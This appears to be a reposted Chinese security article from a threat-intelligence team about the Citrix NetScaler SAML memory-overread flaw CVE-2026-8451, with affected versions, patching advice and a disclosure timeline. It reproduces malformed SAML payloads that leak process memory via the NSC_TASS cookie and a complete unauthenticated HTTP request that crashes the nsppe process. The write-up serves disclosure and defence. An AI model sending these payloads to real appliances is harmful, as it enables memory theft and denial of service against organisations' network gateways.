CitrixNetScaler再曝8.8分0day,XML解析器成内鬼"

admin 2026-10-18 19:54:32 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

Citrix NetScaler再曝8.8分0day,XML解析器成内鬼

原创

威胁情报中心
威胁情报中心

奇安信威胁情报中心

2026年7月1日 19:00
四川

在小说阅读器读本章

去阅读

引言:没完没了的\"出血\"

如果你对 Citrix NetScaler 这个名字还有印象,那你一定记得 \"CitrixBleed\"——这个原本指代单个漏洞的名称,如今已经演变成一整个漏洞家族的代名词。CVE-2023-4966、CVE-2025-5777、CVE-2025-12101、CVE-2026-3055……内存披露类漏洞在 NetScaler 设备上反复出现,似乎已经成了\"传统\"。

2026年3月,watchTowr 在分析 CVE-2026-3055 补丁时,又一次意外发现了新的内存越界读取问题。Citrix 于6月30日正式披露并修复了这个零日漏洞——CVE-2026-8451,CVSS 评分 8.8。

这一次,watchTowr 给它起了个恰如其分的名字:\"CitrixBleed To Infinity And Beyond\"。

漏洞背景:谁受影响?

CVE-2026-8451 被 Citrix 描述为\"输入验证不足导致的内存越界读取\"。与此前几个 CitrixBleed 漏洞类似,该漏洞的利用有一个前提条件:NetScaler 设备必须配置为 SAML IDP(身份提供者)。

受影响版本:

产品 受影响版本
NetScaler ADC / Gateway 14.1 低于 14.1-72.61
NetScaler ADC / Gateway 13.1 低于 13.1-63.18
NetScaler ADC FIPS 14.1 低于 14.1-72.61 FIPS
NetScaler ADC FIPS / NDcPP 13.1 低于 13.1-37.272

漏洞分析:XML 解析器的\"老毛病\"

攻击入口:/saml/login

当 NetScaler 作为 SAML IdP 时,/saml/login 端点负责接收客户端提交的 base64 编码 SAML AuthnRequest。这个 XML 文档中包含 issuer、destination、AssertionConsumerServiceURL 等关键属性。

问题出在 NetScaler 自研的 XML 属性解析器上。以下是其解析 foo=\"bar\" 这类属性的核心代码逻辑:

cursor = <字符串输入>// 查找属性值的起始位置for (lookahead = ...; ; lookahead++) {    ch = *cursor;    if (ch > '=') break;    if (ch == '=') {        // 找到等号,继续查找值起始        cursor = lookahead;        break;    }    cursor++;}
// 判断引号类型(单引号/双引号/无引号)if (ch == '\\'' || ch == '\"') {    terminator = ch;       // 有引号:以匹配引号终止    first = *++cursor;} else {    terminator = ' ';       // 无引号:以空格终止(实际上不是)    first = ch;}
// 扫描属性值scanPos = cursor;while (first != '\\0' && first != '>') {    scanPos++;    first = *scanPos;    if (first == terminator) break;}
out->value_ptr = cursor;           // 值起始指针out->value_len = scanPos - cursor; // 值长度

关键缺陷:换行符处理不一致

上述代码存在两个致命问题:

第一,无引号属性值的终止条件异常。

对于有引号的属性值(如 ID=\"abc\"),解析器以匹配引号终止;但对于无引号的属性值,终止条件变成了空字节(\\0)或右尖括号(>)——换行符、制表符等空白字符不会被识别为终止符。

这意味着,如果构造这样的请求:

<samlp:AuthnRequest Version=\"2.0\" AssertionConsumerServiceURL=11
id=22>

解析器会将 AssertionConsumerServiceURL 的值读成 11\ id=22,而不是正确的 11。

第二,缺乏边界检查。

代码中没有对输入长度进行任何校验。当属性值没有被正确终止时,解析器会持续向后读取,越界访问请求缓冲区之外的内存。

漏洞利用:从越界读取到内存泄露

第一步:确认越界行为

发送一个换行符终止的无引号属性值,观察日志:

AuthnReq start tag parsed, id=<22>, acs=<11 id=22>, ...

可以看到 acs(AssertionConsumerServiceURL)的值被错误地解析为 11 id=22,证明换行符未被识别为终止符。

第二步:进一步\"打开缺口\"

NetScaler 的解析器还有一个\"特性\":它对元素嵌套检查非常宽松。例如,下面这段结构完全错误的 XML 也能被接受:

<samlp:AuthnRequest<saml2:issuer>watchtowr</saml2:issuer></samlp:AuthnRequest>Version=\"2.0\"id=\"11\"AssertionConsumerServiceURL=

注意到最后一行的 AssertionConsumerServiceURL= 后面什么都没有——没有值,没有终止符。此时解析器会继续向后读取,越过请求缓冲区的边界,读取相邻内存中的任意数据。

第三步:获取泄露的内存

NetScaler 会将解析出的属性值嵌入到返回的 NSC_TASS Cookie 中:

NSC_TASS=YXNkZgBJRD0mYmluZD1wb3N0JkFDU1VSTD3wDZDvvq3ePSIyLjAiCmlkPSIxMSIKQXNzZXJ0aW9...

解码后,可以看到泄露的内存内容:

00000000  61 73 64 66 00 49 44 3d  26 62 69 6e 64 3d 70 6f  |asdf.ID=&bind=po|00000010  73 74 26 41 43 53 55 52  4c 3d f0 0d 90 de de de  |st&ACSURL=......|00000020  de de de de de de de de  de de de de de de de de  |................|...00000050  0c a1 35 00                                       |..5.|

泄露的数据中包含了堆内存填充模式(0xdeadbeef)以及疑似有效进程指针(0x00350ca1)。这意味着该漏洞不仅是一个信息泄露,还可以作为内存地址泄露原语(infoleak primitive),配合其他内存破坏漏洞实现完整设备接管。

拒绝服务:最简单的利用方式

如果目标只是证明漏洞影响,甚至不需要复杂的构造——以下请求即可可靠地使 nsppe 进程崩溃:

POST /saml/login HTTP/1.1Host: <target>Content-Length: 46
SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCBJRD0%3D

影响评估

维度 说明
利用前提 需 NetScaler 配置为 SAML IDP
攻击向量 无需认证,向 /saml/login 发送恶意 SAMLRequest
信息泄露 可读取进程内存,可能包含指针、敏感配置等
可用性影响 可触发服务崩溃(拒绝服务)
完整利用 可作为 infoleak 原语,配合其他漏洞实现 RCE

修复建议

  1. 立即升级至安全版本:
  • 14.1 → 升级至 14.1-72.61 或更高
  • 13.1 → 升级至 13.1-63.18 或更高
  1. 临时缓解:如设备无需 SAML IDP 功能,禁用该配置。
  2. 检测与排查:检查 /var/log/ns.log 中是否存在异常的 SAML 解析日志,确认是否已被利用。

披露时间线

时间 事件
2026-03-28 watchTowr 发现漏洞,通知 Citrix 及受影响客户
2026-04-30 watchTowr 请求更新
2026-05-07 Citrix 确认修复开发中
2026-06-14 Citrix 预计 6 月 29 日发布补丁
2026-06-30 Citrix 正式发布安全公告与补丁
2026-06-30 watchTowr 发布技术分析

结语

CitrixBleed 系列漏洞反复出现的核心原因,是 NetScaler 设备中内存管理实现持续脆弱——一个自研的 XML 解析器,在缺乏充分输入验证和边界检查的情况下,被部署在全球数以万计的关键网络入口处。

CVE-2026-8451 不是第一个,也很可能不是最后一个。对于运行 NetScaler 的企业而言,补丁管理不应只是被动的响应,而应当是持续的防御节奏。

参考链接

  • https://labs.watchtowr.com/citrixbleed-to-infinity-and-beyond-citrix-netscaler-pre-auth-memory-overread-cve-2026-8451/

CitrixNetScaler再曝8.8分0day,XML解析器成内鬼" 网络安全文章

CitrixNetScaler再曝8.8分0day,XML解析器成内鬼"

CitrixNetScaler近日披露高危0day漏洞CVE-2026-8451,CVSS评分8.8。该漏洞源于设备自研XML解析器在处理SAMLAuthnRequest时存在输入验证不足与边界检查缺失,导致内存越界读取。攻击者无需认证即可通过构造特制SAML请求触发该漏洞,造成包含进程指针等敏感信息的内存泄露或导致服务拒绝。该漏洞可被用作内存地址泄露原语,配合其他漏洞可能实现完整接管。建议受影响企业立即将NetScalerADC或Gateway升级至安全版本,若不使用SAMLIDP功能则直接禁用,并排查
评论:0   参与:  0